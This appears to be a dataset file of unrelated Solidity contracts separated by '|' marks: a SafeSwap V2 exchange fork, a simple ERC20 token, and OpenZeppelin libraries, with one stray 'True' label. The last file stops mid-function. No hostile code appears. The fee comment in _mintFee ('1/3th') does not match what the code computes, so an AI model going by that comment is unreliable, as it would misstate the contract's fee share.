function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: libraries/UQ112x112.sol
pragma solidity >=0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: libraries/Math.sol
pragma solidity >=0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: libraries/SafeMath.sol
pragma solidity >=0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, 'ds-math-div-overflow');
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
// File: interfaces/ISafeSwapV2ERC20.sol
pragma solidity >=0.5.0;
interface ISafeSwapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: SafeSwapV2ERC20.sol
pragma solidity >= 0.5.16;
contract SafeSwapV2ERC20 is ISafeSwapV2ERC20 {
using SafeMath for uint;
string public constant name = 'SafeSwap V3';
string public constant symbol = 'SSGT-V3';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'SafeSwapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'SafeSwapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: interfaces/ISafeSwapV2Pair.sol
pragma solidity >=0.5.0;
interface ISafeSwapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: SafeSwapV2Pair.sol
pragma solidity >= 0.5.16;
contract SafeSwapV2Pair is ISafeSwapV2Pair, SafeSwapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'SafeSwapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'SafeSwapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'SafeSwapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'SafeSwapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/3th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = ISafeSwapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(10).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'SafeSwapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'SafeSwapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'SafeSwapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'SafeSwapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'SafeSwapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) ISafeSwapV2Callee(to).SafeSwapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'SafeSwapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'SafeSwapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
// File: interfaces/ISafeSwapV2Factory.sol
pragma solidity >=0.5.0;
interface ISafeSwapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: SafeSwapV2Factory.sol
pragma solidity >= 0.5.16;
contract Context {
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _msgData() internal pure returns (bytes memory) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context{
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract SafeSwapV2Factory is ISafeSwapV2Factory, Ownable {
address public feeTo;
address public feeToSetter;
address public routerAddress;
bytes32 public INIT_HASH = keccak256(abi.encodePacked(type(SafeSwapV2Pair).creationCode));
mapping(address => mapping(address => address)) public getPair;
address[] public allPairs;
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
constructor(address _feeToSetter) public {
feeToSetter = _feeToSetter;
feeTo = _feeToSetter;
}
function setRouterAddress(address _routerAddress) external onlyOwner {
routerAddress = _routerAddress;
}
function allPairsLength() external view returns (uint) {
return allPairs.length;
}
function createPair(address tokenA, address tokenB) external returns (address pair) {
require(_msgSender() == owner() || _msgSender() == routerAddress, "SafeSwapV2Factory:createPair::NOT AUTHORIZE");
require(tokenA != tokenB, 'SafeSwapV2: IDENTICAL_ADDRESSES');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'SafeSwapV2: ZERO_ADDRESS');
require(getPair[token0][token1] == address(0), 'SafeSwapV2: PAIR_EXISTS'); // single check is sufficient
bytes memory bytecode = type(SafeSwapV2Pair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
ISafeSwapV2Pair(pair).initialize(token0, token1);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external {
require(msg.sender == feeToSetter, 'SafeSwapV2: FORBIDDEN');
feeTo = _feeTo;
}
function setFeeToSetter(address _feeToSetter) external {
require(msg.sender == feeToSetter, 'SafeSwapV2: FORBIDDEN');
feeToSetter = _feeToSetter;
}
}
|
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pragma solidity 0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
*/
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint _allowance = allowed[_from][msg.sender];
require(_to != address(0));
require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Bocc is StandardToken {
string public constant name = "Bank of CryptoCurrency";
string public constant symbol = "BO";
uint8 public constant decimals = 18;
constructor() public {
totalSupply = 27182818280000000000000000000;
balances[msg.sender] = totalSupply;
}
}
|
True
|
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// File: SourMilkSerum_flat.sol
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
